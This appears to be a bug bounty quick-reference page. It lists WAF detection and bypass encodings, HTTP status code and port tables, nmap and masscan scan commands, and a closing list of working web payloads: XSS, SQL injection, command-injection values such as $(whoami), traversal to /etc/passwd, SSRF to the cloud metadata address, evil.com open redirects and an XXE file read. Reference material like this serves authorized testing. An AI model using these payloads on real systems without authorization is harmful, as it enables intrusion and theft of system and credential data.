Essential cheatsheets and quick references for bug bounty testing
Identify Web Application Firewalls to understand filtering and develop bypass strategies.
# Automated WAF detection
wafw00f https://target.com
nmap -p 443 --script=http-waf-detect target.com
whatwaf -u https://target.com
| WAF | Detection Method |
|---|---|
| Cloudflare | Server: cloudflare, __cfduid cookie, cf-ray header |
| AWS WAF | Server: awselb/2.0, x-amzn-* headers |
| Akamai | AkamaiGHost errors, X-Akamai-* headers |
| Imperva | visid_incap_ cookie, X-CDN: Incapsula |
| ModSecurity | 406 Not Acceptable, Mod_Security messages |
| Sucuri | sucuri-block.css, X-Sucuri-* headers |
| F5 BIG-IP | BigIP* cookies, X-WA-Info header |
# Case manipulation
<ScRiPt>alert(1)</sCrIpT>
# URL encoding
%3Cscript%3Ealert(1)%3C/script%3E
# Double encoding
%253Cscript%253E
# Unicode encoding
\u003cscript\u003e
# HTML entity encoding
<script>
# NULL byte
%00<script>alert(1)</script>
# Newline/CRLF injection
%0a%0d<script>alert(1)</script>
| Code | Meaning | Bug Hunting Relevance |
|---|---|---|
| 200 | OK | Successful request - check response body for data leaks |
| 201 | Created | Resource created - test for privilege escalation |
| 204 | No Content | Success but no body - blind vulnerabilities possible |
| Code | Meaning | Bug Hunting Relevance |
|---|---|---|
| 301 | Moved Permanently | Check Location header for open redirects |
| 302 | Found | Temporary redirect - test for open redirect |
| 307 | Temporary Redirect | Preserves request method - test method-based bypasses |
| Code | Meaning | Bug Hunting Relevance |
|---|---|---|
| 400 | Bad Request | Malformed request - potential injection point |
| 401 | Unauthorized | Test for auth bypass, broken authentication |
| 403 | Forbidden | Access denied - test for authorization bypass |
| 404 | Not Found | May still process requests - blind vulnerabilities |
| 405 | Method Not Allowed | Try different HTTP methods (PUT, DELETE, PATCH) |
| 429 | Too Many Requests | Rate limit hit - test for bypass techniques |
| Code | Meaning | Bug Hunting Relevance |
|---|---|---|
| 500 | Internal Server Error | Server crash - check error messages for info disclosure |
| 502 | Bad Gateway | Proxy error - potential for SSRF |
| 503 | Service Unavailable | DoS condition or maintenance - test availability |
Comprehensive checklist for testing authentication mechanisms.
Test for rate limiting and bypass techniques.
Insecure Direct Object Reference testing methodology.
Testing for account takeover vulnerabilities.
| Port | Service | What to Test |
|---|---|---|
| 21 | FTP | Anonymous login, weak credentials, directory traversal |
| 22 | SSH | Weak credentials, outdated versions, user enumeration |
| 23 | Telnet | Unencrypted, default credentials |
| 25 | SMTP | Email spoofing, open relay, user enumeration |
| 53 | DNS | Zone transfer, DNS cache poisoning, subdomain brute force |
| 80 | HTTP | Web vulnerabilities, information disclosure |
| 443 | HTTPS | SSL/TLS issues, web vulnerabilities, certificate validation |
| 3306 | MySQL | Default credentials, SQL injection, remote access |
| 3389 | RDP | Weak credentials, BlueKeep vulnerability, session hijacking |
| 5432 | PostgreSQL | Default credentials, SQL injection, remote access |
| 6379 | Redis | No authentication, SSRF, RCE via EVAL |
| 8080 | HTTP Proxy | Open proxy, web admin panels, management interfaces |
| 8443 | HTTPS Alt | Web vulnerabilities on alternate port |
| 9200 | Elasticsearch | Unauthenticated access, data exposure, RCE |
| 27017 | MongoDB | No authentication, data exposure, NoSQL injection |
# Fast scan of common ports
nmap -F target.com
# Service version detection
nmap -sV -p- target.com
# Comprehensive scan with NSE scripts
nmap -sC -sV -p- -T4 target.com -oA scan-results
# Using masscan for speed
masscan -p1-65535 target.com --rate=1000
# Using naabu (fast)
naabu -host target.com -top-ports 1000
# Specific port scan
nmap -p 80,443,8080,8443 target.com
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
javascript:alert(1)
' OR '1'='1
' OR 1=1--
" OR "1"="1
admin'--
' UNION SELECT NULL--
; whoami
| whoami
&& whoami
`whoami`
$(whoami)
../../../etc/passwd
....//....//....//etc/passwd
..%2F..%2F..%2Fetc%2Fpasswd
php://filter/convert.base64-encode/resource=index.php
http://127.0.0.1
http://localhost
http://169.254.169.254/latest/meta-data/
http://0.0.0.0
http://[::1]
?redirect=https://evil.com
?url=//evil.com
?next=https://evil.com
?return=//evil.com
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]>
<root>&test;</root>